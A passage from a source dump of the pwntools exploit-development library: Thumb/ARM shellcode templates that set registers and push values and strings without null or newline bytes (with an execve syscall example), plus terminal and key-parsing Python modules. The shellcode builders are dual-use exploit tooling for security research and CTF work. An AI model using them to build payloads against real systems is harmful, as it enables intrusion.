mov ${dst}, #${pretty(src)}\n  %elif negative_imm8_shift and srcn != 10:\n    mvn ${dst}, #-${pretty(srcn)}\n  %elif -256 < srcs < 0:\n    eor ${dst}, ${dst}\n    sub ${dst}, #${-srcs}\n  %else:\n    <%\n      shift1 = 0\n      while (1 << shift1) & src == 0:\n          shift1 += 1\n    %>\\\n    %if (0xff << shift1) & src == src:\n      %if shift1 < 4:\n        mov ${dst}, #(${pretty(src)} >> ${shift1})\n        lsl ${dst}, #4\n        lsr ${dst}, #(4 - ${shift1})\n      %else:\n        mov ${dst}, #(${pretty(src)} >> ${shift1})\n        lsl ${dst}, #${shift1}\n      %endif\n    %else:\n      <%\n        shift2 = 8\n        while (1 << shift2) & src == 0:\n            shift2 += 1\n      %>\\\n      %if ((0xff << shift2) | 0xff) & src == src:\n        mov ${dst}, #(${pretty(src)} >> ${shift2})\n        lsl ${dst}, #${shift2}\n        add ${dst}, #(${\"%#x\" % src} & 0xff)\n      %else:\n        <%\n          shift3 = shift1 + 8\n          while (1 << shift3) & src == 0:\n              shift3 += 1\n        %>\\\n        %if ((0xff << shift1) | (0xff << shift3)) & src == src:\n          mov ${dst}, #(${pretty(src)} >> ${shift3})\n          lsl ${dst}, #(${shift3} - ${shift1})\n          add ${dst}, #((${pretty(src)} >> ${shift1}) & 0xff)\n          lsl ${dst}, #${shift1}\n        %else:\n            <%\n              id = common.label(\"value\")\n              shift = False\n              if (src & 0xff000000 == 0):\n                  shift = True\n                  src = src | 0xff000000\n            %>\\\n            ldr ${dst}, ${id}\n            b ${id}_after\n            ${id}: .word ${pretty(src)}\n            ${id}_after:\n            %if shift:\n            lsl ${dst}, #8\n            lsr ${dst}, #8\n            %endif\n        %endif\n      %endif\n    %endif\n  %endif\n%endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/nop.asm",
    "content": "<%docstring>A nop instruction.</%docstring>\n    mov r6, r6\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/popad.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<%docstring>\nPop all of the registers onto the stack which i386 popad does,\nin the same order.\n</%docstring>\n    pop {r0-r12}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/push.asm",
    "content": "<%\n  from pwnlib.util import packing\n  from pwnlib.shellcraft import thumb, registers, pretty\n  from pwnlib import constants\n  from pwnlib.context import context as ctx # Ugly hack, mako will not let it be called context\n  import re\n%>\n<%page args=\"value\"/>\n<%docstring>\nPushes a value onto the stack without using\nnull bytes or newline characters.\n\nIf src is a string, then we try to evaluate with `context.arch = 'thumb'` using\n:func:`pwnlib.constants.eval` before determining how to push it. Note that this\nmeans that this shellcode can change behavior depending on the value of\n`context.os`.\n\nArgs:\n  value (int,str): The value or register to push\n\nExample:\n\n    >>> print(pwnlib.shellcraft.thumb.push('r0').rstrip())\n        push {r0}\n    >>> print(pwnlib.shellcraft.thumb.push(0).rstrip())\n        /* push 0 */\n        eor r7, r7\n        push {r7}\n    >>> print(pwnlib.shellcraft.thumb.push(1).rstrip())\n        /* push 1 */\n        mov r7, #1\n        push {r7}\n    >>> print(pwnlib.shellcraft.thumb.push(256).rstrip())\n        /* push 0x100 */\n        mov r7, #0x100\n        push {r7}\n    >>> print(pwnlib.shellcraft.thumb.push('SYS_execve').rstrip())\n        /* push 'SYS_execve' */\n        mov r7, #0xb\n        push {r7}\n    >>> with context.local(os = 'freebsd'):\n    ...     print(pwnlib.shellcraft.thumb.push('SYS_execve').rstrip())\n        /* push 'SYS_execve' */\n        mov r7, #0x3b\n        push {r7}\n</%docstring>\n\n<%\nvalue_orig = value\nis_register = value in registers.arm\n\nif not is_register and isinstance(value, (bytes, str)):\n    try:\n        with ctx.local(arch = 'thumb'):\n            value = constants.eval(value)\n    except (ValueError, AttributeError, NameError):\n        pass\n%>\n\n% if is_register:\n    push {${value}}\n% elif isinstance(value, int):\n    /* push ${pretty(value_orig, False)} */\n    ${re.sub(r'^\\s*/.*\\n', '', thumb.pushstr(packing.pack(value), False), 1)}\n% else:\n    push ${value}\n% endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/pushad.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<%docstring>\nPush all of the registers onto the stack which i386 pushad does,\nin the same order.\n</%docstring>\n    push {r0-r12}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/pushstr.asm",
    "content": "<%\n  from pwnlib.shellcraft import thumb, pretty\n  from pwnlib.util import lists, packing\n%>\n<%page args=\"string, append_null = True, register = 'r7'\"/>\n<%docstring>\nPushes a string onto the stack without using\nnull bytes or newline characters.\n\nArgs:\n  string (str): The string to push.\n  append_null (bool): Whether to append a single NULL-byte before pushing.\n\nExamples:\n\nNote that this doctest has two possibilities for the first result, depending\non your version of binutils.\n\n    >>> enhex(asm(shellcraft.pushstr('Hello\\nWorld!', True))) in [\n    ... '87ea070780b4dff8047001e0726c642180b4dff8047001e06f0a576f80b4dff8047001e048656c6c80b4',\n    ... '87ea070780b4dff8047001e0726c642180b4dff8047001e06f0a576f80b4dff8047001e048656c6c80b400bf',\n    ... '87ea070780b4dff8067000f002b8726c642180b4dff8047000f002b86f0a576f80b4014f00f002b848656c6c80b4']\n    True\n    >>> print(shellcraft.pushstr('abc').rstrip()) #doctest: +ELLIPSIS\n        /* push b'abc\\x00' */\n        ldr r7, value_...\n        b value_..._after\n    value_...: .word 0xff636261\n    value_..._after:\n        lsl r7, #8\n        lsr r7, #8\n        push {r7}\n    >>> print(enhex(asm(shellcraft.pushstr('\\x00', False)).rstrip(b'\\x00\\xbf')))\n    87ea070780b4\n\n</%docstring>\n<%\n    if isinstance(string, str):\n        string = string.encode('utf-8')\n    if append_null:\n        string += b'\\x00'\n    if not string:\n        return\n\n    offset = len(string)\n    while offset % 4:\n        offset += 1\n%>\\\n    /* push ${pretty(string, False)} */\n% for word in lists.group(4, string, 'fill', b'\\x00')[::-1]:\n    ${thumb.mov(register, packing.unpack(word))}\n    push {${register}}\n% endfor\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/pushstr_array.asm",
    "content": "<% from pwnlib.shellcraft import thumb, pretty %>\n<%docstring>\nPushes an array/envp-style array of pointers onto the stack.\n\nArguments:\n    reg(str):\n        Destination register to hold the pointer.\n    array(str,list):\n        Single argument or list of arguments to push.\n        NULL termination is normalized so that each argument\n        ends with exactly one NULL byte.\n</%docstring>\n<%page args=\"reg, array\"/>\n<%\nif isinstance(array, (str)):\n    array = [array]\n\narray_str = ''\n\n# Normalize all of the arguments' endings\narray      = [arg.rstrip('\\x00') + '\\x00' for arg in array]\narray_str  = ''.join(array)\n\nword_size = 4\noffset = len(array_str) + word_size\n\n%>\\\n    /* push argument array ${pretty(array, False)} */\n    ${thumb.pushstr(array_str)}\n    ${thumb.push(0)} /* null terminate */\n% for i,arg in enumerate(reversed(array)):\n    ${thumb.mov(reg, offset + word_size*i - len(arg))}\n    add ${reg}, sp\n    ${thumb.push(reg)} /* ${pretty(arg, False)} */\n    <% offset -= len(arg) %>\\\n% endfor\n    ${thumb.mov(reg,'sp')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/ret.asm",
    "content": "<% from pwnlib.shellcraft import thumb %>\n<%docstring>A single-byte RET instruction.\n\nArgs:\n    return_value: Value to return\n</%docstring>\n<%page args=\"return_value = None\"/>\n\n% if return_value is not None:\n    ${thumb.mov('r0', return_value)}\n% endif\n\n    bx lr\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/setregs.asm",
    "content": "<%\n  from pwnlib.regsort import regsort\n  from pwnlib.constants import Constant, eval\n  from pwnlib.shellcraft import registers\n  from pwnlib.shellcraft.thumb import mov\n%>\n<%page args=\"reg_context, stack_allowed = True\"/>\n<%docstring>\nSets multiple registers, taking any register dependencies into account\n(i.e., given eax=1,ebx=eax, set ebx first).\n\nArgs:\n    reg_context (dict): Desired register context\n    stack_allowed (bool): Can the stack be used?\n\nExample:\n\n    >>> print(shellcraft.setregs({'r0':1, 'r2':'r3'}).rstrip())\n        mov r0, #1\n        mov r2, r3\n    >>> print(shellcraft.setregs({'r0':'r1', 'r1':'r0', 'r2':'r3'}).rstrip())\n        mov r2, r3\n        eor r0, r0, r1 /* xchg r0, r1 */\n        eor r1, r0, r1\n        eor r0, r0, r1\n</%docstring>\n<%\nreg_context = {k:v for k,v in reg_context.items() if v is not None}\nsorted_regs = regsort(reg_context, registers.arm)\n%>\n% if not sorted_regs:\n  /* setregs noop */\n% else:\n% for how, dst, src in regsort(reg_context, registers.arm):\n% if how == 'xchg':\n    eor ${dst}, ${dst}, ${src} /* xchg ${dst}, ${src} */\n    eor ${src}, ${dst}, ${src}\n    eor ${dst}, ${dst}, ${src}\n% else:\n    ${mov(dst, src)}\n% endif\n% endfor\n% endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/to_arm.asm",
    "content": "<%\n  from pwnlib.shellcraft import thumb\n  from random import choice\n  from pwnlib.shellcraft import registers\n%>\n<%docstring>Go from THUMB to ARM mode.</%docstring>\n<%page args=\"reg=None, avoid = []\"/>\n<%\n    if reg:\n        pass\n    elif not avoid or 'r3' not in avoid:\n        reg = 'r3'\n    else:\n        # Avoid registers we don't want to clobber, and r0\n        # since it will encode a NULL.\n        avoid = set(avoid) | {'r0', 'sp', 'pc', 'cpsr', 'lr'}\n        reg   = next(r for r in registers.arm if r not in avoid)\n%>\n    .thumb\n    add ${reg}, pc, #4\n    bx  ${reg}\n    ${thumb.nop()}\n    .arm\n\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/trap.asm",
    "content": "<%docstring>A trap instruction.</%docstring>\n    BKPT\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/udiv_10.asm",
    "content": "<%\n  from pwnlib.shellcraft import common\n  from pwnlib.shellcraft import arm\n%>\n<%page args=\"N\"/>\n<%docstring>\nDivides r0 by 10.  Result is stored in r0, N and Z flags are updated.\n\nCode is from generated from here:\n    https://raw.githubusercontent.com/rofirrim/raspberry-pi-assembler/master/chapter15/magic.py\n\nWith code:\n    python magic.py 10 code_for_unsigned\n</%docstring>\n    /* r0 = ${N} / 10 */\n    ${arm.setregs({'r0': N, 'r1': 0xcccccccd})}\n    umull r1, r2, r0, r1   /* r1 <- Lower32Bits(r1*r0). r2 <- Upper32Bits(r1*r0) */\n    movs r0, r2, LSR #3     /* r0 <- r2 >> 3 */\n"
  },
  {
    "path": "pwnlib/term/__init__.py",
    "content": "import sys\n\nfrom pwnlib.term import completer\nfrom pwnlib.term import key\nfrom pwnlib.term import keymap\nfrom pwnlib.term import readline\nfrom pwnlib.term import term\nfrom pwnlib.term import termcap\nfrom pwnlib.term import text\n\n# Re-exports (XXX: Are these needed?)\nterm.update_geometry()\nwidth = term.width\nheight = term.height\noutput = term.output\ngetkey = key.get\nKeymap = keymap.Keymap\n\n#: This is True exactly when we have taken over the terminal using :func:`init`.\nterm_mode = False\n\ndef can_init():\n    \"\"\"This function returns True iff stderr is a TTY and we are not inside a\n    REPL.  Iff this function returns `True`, a call to :meth:`init` will let\n    ``pwnlib`` manage the terminal.\n    \"\"\"\n\n    if sys.platform == 'win32':\n        return False\n\n    if not sys.stdout.isatty():\n        return False\n\n    # Check for python -i\n    if sys.flags.interactive:\n        return False\n\n    # Check fancy REPLs\n    mods = sys.modules.keys()\n    for repl in ['IPython', 'bpython', 'dreampielib', 'jupyter_client._version']:\n        if repl in mods:\n            return False\n\n    # The standard python REPL will have co_filename == '<stdin>' for some\n    # frame. We raise an exception to set sys.exc_info so we can unwind the call\n    # stack.\n    try:\n        raise BaseException\n    except BaseException:\n        frame = sys.exc_info()[2].tb_frame\n\n    while frame:\n        if frame.f_code.co_filename == '<stdin>':\n            return False\n        frame = frame.f_back\n\n    return True\n\n\ndef init():\n    \"\"\"Calling this function will take over the terminal (iff :func:`can_init`\n    returns True) until the current python interpreter is closed.\n\n    It is on our TODO, to create a function to \"give back\" the terminal without\n    closing the interpreter.\n    \"\"\"\n\n    global term_mode\n\n    if term_mode:\n        return\n\n    if not can_init():\n        return\n\n    term.init()\n    def update_geometry():\n        global height, width\n        height = term.height\n        width = term.width\n    update_geometry()\n    term.on_winch.append(update_geometry)\n    readline.init()\n\n    term_mode = True\n    text.num_colors = termcap.get('colors', default = 8) or 8\n"
  },
  {
    "path": "pwnlib/term/completer.py",
    "content": "import os\nimport re\n\nfrom pwnlib.term import readline\n\n\nclass Completer:\n    def complete(self, _left, _right):\n        raise Exception(\"unimplemented\")\n    def suggest(self, _left, _right):\n        raise Exception(\"unimplemented\")\n    def __enter__(self):\n        self._saved_complete_hook = readline.complete_hook\n        self._saved_suggest_hook = readline.suggest_hook\n        readline.set_completer(self)\n    def __exit__(self, *args):\n        readline.complete_hook = self._saved_complete_hook\n        readline.suggest_hook = self._saved_suggest_hook\n\nclass WordCompleter(Completer):\n    def __init__(self, delims = None):\n        self.delims = delims or ' \\t\\n`!@#$^&*()=+[{]}\\\\|;:\\'\",<>?'\n        self._cur_word = None\n        self._completions = []\n\n    def _get_word(self, left):\n        i = len(left) - 1\n        while i >= 0:\n            if left[i] in self.delims:\n                break\n            i -= 1\n        i += 1\n        return left[i:]\n\n    def _update(self, w):\n        if w == self._cur_word:\n            return\n        self._cur_word = w\n        self._completions = self.complete_word(w)\n\n    def complete(self, buffer_left, buffer_right):\n        w = self._get_word(buffer_left)\n        self._update(w)\n        if len(self._completions) == 1:\n            c = self._completions[0]\n            if len(c) > len(w):\n                return c[len(w):]\n\n    def suggest(self, buffer_left, _buffer_right):\n        w = self._get_word(buffer_left)\n        self._update(w)\n        return self._completions\n\n    def complete_word(self, word):\n        raise Exception(\"unimplemented\")\n\nclass LongestPrefixCompleter(WordCompleter):\n    def __init__(self, words = None, delims = None):\n        words = words or []\n        WordCompleter.__init__(self, delims)\n        self.words = words\n\n    def complete_word(self, word):\n        if not word:\n            return []\n        cs = [w for w in self.words if w.startswith(word)]\n        if cs == []:\n            return cs\n        lcp = word\n        shortest = min(map(len, cs))\n        while len(lcp) < shortest:\n            i = len(lcp)\n            ch = cs[0][i]\n            if any(c[i] != ch for c in cs[1:]):\n                break\n            lcp += ch\n        if len(lcp) > len(word):\n            return [lcp]\n        else:\n            return cs\n\nclass PathCompleter(Completer):\n    def __init__(self, mask = '*', only_dirs = False):\n        if mask != '*':\n            mask = mask.replace('.', '\\\\.').replace('*', '.*')\n            self.mask = re.compile('^' + mask + '$')\n        else:\n            self.mask = None\n        self.only_dirs = only_dirs\n        self._cur_prefix = None\n\n    def _update(self, prefix):\n        if prefix == self._cur_prefix:\n            return\n        self._completions = []\n        if os.path.isabs(prefix):\n            path = prefix\n        else:\n            path = os.path.join('.', prefix)\n        if os.path.isdir(path) and prefix and prefix[-1] != '/':\n            self._completions = [prefix]\n            return\n        dirname = os.path.dirname(path)\n        basename = os.path.basename(path)\n        if os.path.isdir(dirname):\n            try:\n                names = os.listdir(dirname)\n            except Exception:\n                return\n            names = [n for n in names if n.startswith(basename)]\n            dirname = os.path.dirname(prefix)\n            cs = [os.path.join(dirname, n) for n in names]\n            if self.only_dirs:\n                cs = [c for c in cs if os.path.isdir(c)]\n            if self.mask:\n                cs = [c for c in cs\n                      if self.mask.match(os.path.basename(c))\n                      or os.path.isdir(c)]\n            self._completions = cs\n\n    def complete(self, buffer_left, buffer_right):\n        self._update(buffer_left)\n        cs = []\n        for c in self._completions:\n            if os.path.isdir(c):\n                c += '/'\n            cs.append(c)\n        if not cs:\n            return\n        lcp = buffer_left\n        shortest = min(map(len, cs))\n        while len(lcp) < shortest:\n            i = len(lcp)\n            ch = cs[0][i]\n            if any(c[i] != ch for c in cs[1:]):\n                break\n            lcp += ch\n        if len(lcp) > len(buffer_left):\n            return lcp[len(buffer_left):]\n\n    def suggest(self, buffer_left, buffer_right):\n        self._update(buffer_left)\n        out = []\n        for c in self._completions:\n            b = os.path.basename(c)\n            if os.path.isdir(c):\n                b += '/'\n            out.append(b)\n        return out\n"
  },
  {
    "path": "pwnlib/term/key.py",
    "content": "import errno\nimport os\nimport select\nimport string\nimport sys\n\nfrom pwnlib.term import keyconsts as kc\nfrom pwnlib.term import termcap\nfrom pwnlib.term import term\n\n__all__ = ['getch', 'getraw', 'get', 'unget']\n\n# When set, convert keypad codes into regular key presses, e.g. \"+\" instead of\n# `<kp plus>`\nFLAG_CONVERTKP = True\n\ntry:    _fd = sys.stdin.fileno()\nexcept Exception: _fd = os.open(os.devnull, os.O_RDONLY)\n\ndef getch(timeout = 0):\n    term.setupterm()\n    while True:\n        try:\n            rfds, _wfds, _xfds = select.select([_fd], [], [], timeout)\n            if rfds:\n                with term.rlock:\n                    rfds, _wfds, _xfds = select.select([_fd], [], [], 0)\n                    if not rfds: continue\n                    c = os.read(_fd, 1)\n                return ord(c) if c else None\n            else:\n                return None\n        except select.error as e:\n            if e.args[0] == errno.EINTR:\n                continue\n            raise\n\ndef getraw(timeout = None):\n    '''Get list of raw key codes corresponding to zero or more key presses'''\n    cs = []\n    c = getch(timeout)\n    while c is not None: # timeout\n        cs.append(c)\n        if c is None: # EOF\n            break\n        c = getch()\n    return cs\n\nclass Matcher:\n    def __init__(self, desc):\n        self._desc = desc\n        desc = desc.split('-')\n        mods = desc[:-1]\n        k = desc[-1]\n        if k == '<space>':\n            k = ' '\n        m = kc.MOD_NONE\n        if 'S' in mods:\n            m |= kc.MOD_SHIFT\n        if 'M' in mods:\n            m |= kc.MOD_ALT\n        if 'C' in mods:\n            m |= kc.MOD_CTRL\n        if   len(k) == 1:\n            t = kc.TYPE_UNICODE\n            c = k\n            h = ord(k)\n        elif k[0] == '<' and k in kc.KEY_NAMES_REVERSE:\n            t = kc.TYPE_KEYSYM\n            c = kc.KEY_NAMES_REVERSE[k]\n            h = c\n        elif k[:2] == '<f' and k[-1] == '>' and k[2:-1].isdigit():\n            t = kc.TYPE_FUNCTION\n            c = int(k[2:-1])\n            h = c\n        else:\n            raise ValueError('bad key description \"%s\"' % k)\n        self._type = t\n        self._code = c\n        self._mods = m\n        self._hash = h | (m << 6) | (t << 7)\n\n    def __call__(self, k):\n        if isinstance(k, Key):\n            return all([k.type == self._type,\n                        k.code == self._code,\n                        k.mods == self._mods,\n                        ])\n\n    def __eq__(self, other):\n        if   isinstance(other, Matcher):\n            return all([other._type == self._type,\n                        other._code == self._code,\n                        other._mods == self._mods,\n                        ])\n        elif isinstance(other, Key):\n            return self.__call__(other)\n        else:\n            return False\n\n    def __neq__(self, other):\n        return not self == other\n\n    def __hash__(self):\n        return self._hash\n\n    def __str__(self):\n        return self._desc\n\nclass Key:\n    def __init__(self, type, code = None, mods = kc.MOD_NONE):\n        self.type = type\n        self.code = code\n        self.mods = mods\n        self._str = None\n\n    def __str__(self):\n        if self._str:\n            return self._str\n        if   self.type == kc.TYPE_UNICODE:\n            if self.code == ' ':\n                s = '<space>'\n            else:\n                s = self.code\n        elif self.type == kc.TYPE_KEYSYM:\n            s = kc.KEY_NAMES.get(self.code, '<SYMNAME-%d>' % self.code)\n        elif self.type == kc.TYPE_FUNCTION:\n            s = '<f%d>' % self.code\n        elif self.type == kc.TYPE_POSITION:\n            s = 'Position(%d, %d)' % self.code\n        elif self.type == kc.TYPE_EOF:\n            s = 'EOF'\n        else:\n            s = '<UNKNOWN>'\n        if self.mods & kc.MOD_SHIFT:\n            s = 'S-' + s\n        if self.mods & kc.MOD_ALT:\n            s = 'M-' + s\n        if self.mods & kc.MOD_CTRL:\n            s = 'C-' + s\n        self._str = s\n        return s\n\n    def __repr__(self):\n        return self.__str__()\n\n    def __eq__(self, other):\n        if   isinstance(other, (bytes, str)):\n            return Matcher(other)(self)\n        elif isinstance(other, Matcher):\n            return other(self)\n        elif isinstance(other, Key):\n            return all([self.type == other.type,\n                        self.code == other.code,\n                        self.mods == other.mods,\n                        ])\n        else:\n            return False\n\n_cbuf = []\n_kbuf = []\n\ndef _read(timeout = 0):\n    _cbuf.extend(getraw(timeout))\n\ndef _peek():\n    if _cbuf:\n        return _peek_ti() or _peek_csi() or _peek_simple()\n\ndef get(timeout = None):\n    if _kbuf:\n        return _kbuf.pop(0)\n    k = _peek()\n    if k:\n        return k\n    _read(timeout)\n    return _peek()\n\ndef unget(k):\n    _kbuf.append(k)\n\n# terminfo\ndef _name_to_key(fname):\n    if   fname in kc.FUNCSYMS:\n        k = Key(kc.TYPE_KEYSYM, *kc.FUNCSYMS[fname])\n    elif fname[0] == 'f' and fname[1:].isdigit():\n        k = Key(kc.TYPE_FUNCTION, int(fname[1:]))\n    elif fname[0] == 's':\n        k = _name_to_key(fname[1:])\n        if k:\n            k.mods |= kc.MOD_SHIFT\n    else:\n        return None\n    return k\n\n_ti_table = None\n\ndef _peek_ti():\n    global _cbuf\n    if _ti_table is None:\n        _init_ti_table()\n    # XXX: Faster lookup, plox\n    for seq, key in _ti_table:\n        if _cbuf[:len(seq)] == seq:\n            _cbuf = _cbuf[len(seq):]\n            return key\n\ndef _init_ti_table():\n    global _ti_table\n    _ti_table = []\n    for fname, name in zip(kc.STRFNAMES, kc.STRNAMES):\n        seq = termcap.get(name)\n        if not seq:\n            continue\n        k = _name_to_key(fname)\n        if k:\n            _ti_table.append((list(bytearray(seq)), k))\n\n# csi\ndef _parse_csi(offset):\n    i = offset\n    while i < len(_cbuf):\n        c = _cbuf[i]\n        if c >= 0x40 and c < 0x80:\n            break\n        i += 1\n    if i >= len(_cbuf):\n        return\n    end = i\n    cmd = [c, None, None]\n\n    i = offset\n    in_num = False\n    args = []\n    if _cbuf[i] >= ord('<') and _cbuf[i] <= ord('?'):\n        cmd[1] = _cbuf[i]\n        i += 1\n    while i < end:\n        c = _cbuf[i]\n        if   c >= ord('0') and c <= ord('9'):\n            if not in_num:\n                args.append(c - ord('0'))\n                in_num = True\n            else:\n                args[-1] = args[-1] * 10 + c - ord('0')\n        elif c == ord(';'):\n            if not in_num:\n                args.append(None)\n            in_num = False\n            if len(args) > 16:\n                break\n        elif c >= 0x20 and c <= 0x2f:\n            cmd[2] = c\n            break\n\n        i += 1\n\n    return cmd, args, end + 1\n\ndef _csi_func(cmd, args):\n    k = Key(kc.TYPE_UNKNOWN)\n    if len(args) > 1 and args[1]:\n        k.mods |= args[1] - 1\n\n    if   args[0] == 0x1b and len(args) == 3:\n        k.type = kc.TYPE_KEYSYM\n        k.code = args[2]\n        return k\n    elif args[0] in _csi_funcs:\n        f = _csi_funcs[args[0]]\n        k.type = f[0]\n        k.code = f[1]\n        return k\n\ndef _csi_ss3(cmd, args):\n    t, c = _csi_ss3s[chr(cmd[0])]\n    k = Key(t, c)\n    if len(args) > 1 and args[1]:\n        k.mods |= args[1] - 1\n    return k\n\ndef _csi_u(cmd, args):\n    k = Key(kc.TYPE_UNICODE, chr(args[0]))\n    if len(args) > 1 and args[1]:\n        k.mods |= args[1] - 1\n    return k\n\ndef _csi_R(cmd, args):\n    if cmd[0] == ord('R') and cmd[1] == ord('?'):\n        if len(args) < 2:\n            return\n        return Key(kc.TYPE_POSITION, (args[1], args[0]))\n    else:\n        return _csi_ss3(cmd, args)\n\n_csi_handlers = {\n    '~' : _csi_func,\n    'u' : _csi_u,\n    'R' : _csi_R,\n    }\n\n_csi_ss3s = {\n    'A': (kc.TYPE_KEYSYM, kc.KEY_UP),\n    'B': (kc.TYPE_KEYSYM, kc.KEY_DOWN),\n    'C': (kc.TYPE_KEYSYM, kc.KEY_RIGHT),\n    'D': (kc.TYPE_KEYSYM, kc.KEY_LEFT),\n    'E': (kc.TYPE_KEYSYM, kc.KEY_BEGIN),\n    'F': (kc.TYPE_KEYSYM, kc.KEY_END),\n    'H': (kc.TYPE_KEYSYM, kc.KEY_HOME),\n    'P': (kc.TYPE_FUNCTION, 1),\n    'Q': (kc.TYPE_FUNCTION, 2),\n    'R': (kc.TYPE_FUNCTION, 3),\n    'S': (kc.TYPE_FUNCTION, 4),\n    'Z': (kc.TYPE_KEYSYM, kc.KEY_TAB),\n}\n\n_csi_ss3kp = {\n    'M': (kc.TYPE_KEYSYM, kc.KEY_KPENTER , None),\n    'X': (kc.TYPE_KEYSYM, kc.KEY_KPEQUALS, '='),\n    'j': (kc.TYPE_KEYSYM, kc.KEY_KPMULT  , '*'),\n    'k': (kc.TYPE_KEYSYM, kc.KEY_KPPLUS  , '+'),\n    'l': (kc.TYPE_KEYSYM, kc.KEY_KPCOMMA , ','),\n    'm': (kc.TYPE_KEYSYM, kc.KEY_KPMINUS , '-'),\n    'n': (kc.TYPE_KEYSYM, kc.KEY_KPPERIOD, '.'),\n    'o': (kc.TYPE_KEYSYM, kc.KEY_KPDIV   , '/'),\n    'p': (kc.TYPE_KEYSYM, kc.KEY_KP0     , '0'),\n    'q': (kc.TYPE_KEYSYM, kc.KEY_KP1     , '1'),\n    'r': (kc.TYPE_KEYSYM, kc.KEY_KP2     , '2'),\n    's': (kc.TYPE_KEYSYM, kc.KEY_KP3     , '3'),\n    't': (kc.TYPE_KEYSYM, kc.KEY_KP4     , '4'),\n    'u': (kc.TYPE_KEYSYM, kc.KEY_KP5     , '5'),\n    'v': (kc.TYPE_KEYSYM, kc.KEY_KP6     , '6'),\n    'w': (kc.TYPE_KEYSYM, kc.KEY_KP7     , '7'),\n    'x': (kc.TYPE_KEYSYM, kc.KEY_KP8     , '8'),\n    'y': (kc.TYPE_KEYSYM, kc.KEY_KP9     , '9'),\n}\n\n_csi_funcs = {\n    1 : (kc.TYPE_KEYSYM, kc.KEY_FIND),\n    2 : (kc.TYPE_KEYSYM, kc.KEY_INSERT),\n    3 : (kc.TYPE_KEYSYM, kc.KEY_DELETE),\n    4 : (kc.TYPE_KEYSYM, kc.KEY_SELECT),\n    5 : (kc.TYPE_KEYSYM, kc.KEY_PAGEUP),\n    6 : (kc.TYPE_KEYSYM, kc.KEY_PAGEDOWN),\n    7 : (kc.TYPE_KEYSYM, kc.KEY_HOME),\n    8 : (kc.TYPE_KEYSYM, kc.KEY_END),\n    11: (kc.TYPE_FUNCTION, 1),\n    12: (kc.TYPE_FUNCTION, 2),\n    13: (kc.TYPE_FUNCTION, 3),\n    14: (kc.TYPE_FUNCTION, 4),\n    15: (kc.TYPE_FUNCTION, 5),\n    17: (kc.TYPE_FUNCTION, 6),\n    18: (kc.TYPE_FUNCTION, 7),\n    19: (kc.TYPE_FUNCTION, 8),\n    20: (kc.TYPE_FUNCTION, 9),\n    21: (kc.TYPE_FUNCTION, 10),\n    23: (kc.TYPE_FUNCTION, 11),\n    24: (kc.TYPE_FUNCTION, 12),\n    25: (kc.TYPE_FUNCTION, 13),\n    26: (kc.TYPE_FUNCTION, 14),\n    28: (kc.TYPE_FUNCTION, 15),\n    29: (kc.TYPE_FUNCTION, 16),\n    31: (kc.TYPE_FUNCTION, 17),\n    32: (kc.TYPE_FUNCTION, 18),\n    33: (kc.TYPE_FUNCTION, 19),\n    34: (kc.TYPE_FUNCTION, 20),\n    }\n\ndef _peekkey_csi(offset):\n    global _cbuf\n    ret = _parse_csi(offset)\n    if not ret:\n        _cbuf = _cbuf[offset:]\n        return Key(kc.TYPE_UNICODE, u'[', kc.MOD_ALT)\n    cmd, args, numb = ret\n    # print(cmd, args, '\\r')\n    _cbuf = _cbuf[numb:]\n    k = None\n    if   chr(cmd[0]) in _csi_handlers:\n        k = _csi_handlers[chr(cmd[0])](cmd, args)\n    elif chr(cmd[0]) in _csi_ss3s:\n        k = _csi_ss3(cmd, args)\n        if k and chr(cmd[0]) == 'Z':\n            k.mods |= kc.MOD_SHIFT\n\n    if k:\n        return k\n    else:\n        return Key(kc.TYPE_UNKNOWN_CSI, (cmd, args))\n\ndef _peekkey_ss3(offset):\n    global _cbuf\n    if len(_cbuf) <= offset:\n        return Key(kc.TYPE_UNICODE, u'O', kc.MOD_ALT)\n    cmd = _cbuf[offset]\n    if cmd < 0x40 or cmd >= 0x80:\n        return\n    _cbuf = _cbuf[offset:]\n\n    if chr(cmd) in _csi_ss3s:\n        return Key(*_csi_ss3s[chr(cmd)])\n\n    if chr(cmd) in _csi_ss3kp:\n        t, c, a = _csi_ss3kp[chr(cmd)]\n        if FLAG_CONVERTKP and a:\n            return Key(kc.TYPE_UNICODE, a)\n        else:\n            return Key(t, c)\n\ndef _peek_csi():\n    global _cbuf\n    # print('csi', _cbuf, '\\r')\n    c0 = _cbuf[0]\n    if   c0 == 0x1b and len(_cbuf) >= 2:\n        c1 = _cbuf[1]\n        if   c1 == ord('['):\n            return _peekkey_csi(2)\n        elif c1 == ord('O'):\n            return _peekkey_ss3(2)\n    elif c0 == 0x8f:\n        return _peekkey_ss3(1)\n    elif c0 == 0x9b:\n        return _peekkey_csi(1)\n\ndef _peek_simple():\n    global _cbuf\n    # print('simple', _cbuf, '\\r')\n    if not _cbuf:\n        return\n    c0 = _cbuf.pop(0)\n    if   c0 is None:\n        _cbuf = []\n        return Key(kc.TYPE_EOF)\n    elif c0 == 0x1b:\n        if _cbuf:\n            k = _peek()\n            # print(k)\n            if k:\n                # need to deep copy or we risk modifying keys in ti table\n                return Key(k.type, k.code, k.mods | kc.MOD_ALT)\n        else:\n            return Key(kc.TYPE_KEYSYM, kc.KEY_ESCAPE)\n    elif c0 < 0xa0:\n        if   c0 < 0x20:\n            if   c0 == 8:\n                k = Key(kc.TYPE_KEYSYM, kc.KEY_BACKSPACE)\n            elif c0 == 9:\n                k = Key(kc.TYPE_KEYSYM, kc.KEY_TAB)\n            elif c0 in (10, 13):\n                k = Key(kc.TYPE_KEYSYM, kc.KEY_ENTER)\n            else:\n                k = Key(kc.TYPE_UNICODE)\n                if   c0 == 0:\n                    k.code = u' '\n                elif chr(c0 + 0x40) in string.ascii_uppercase:\n                    k.code = chr(c0 + 0x60)\n      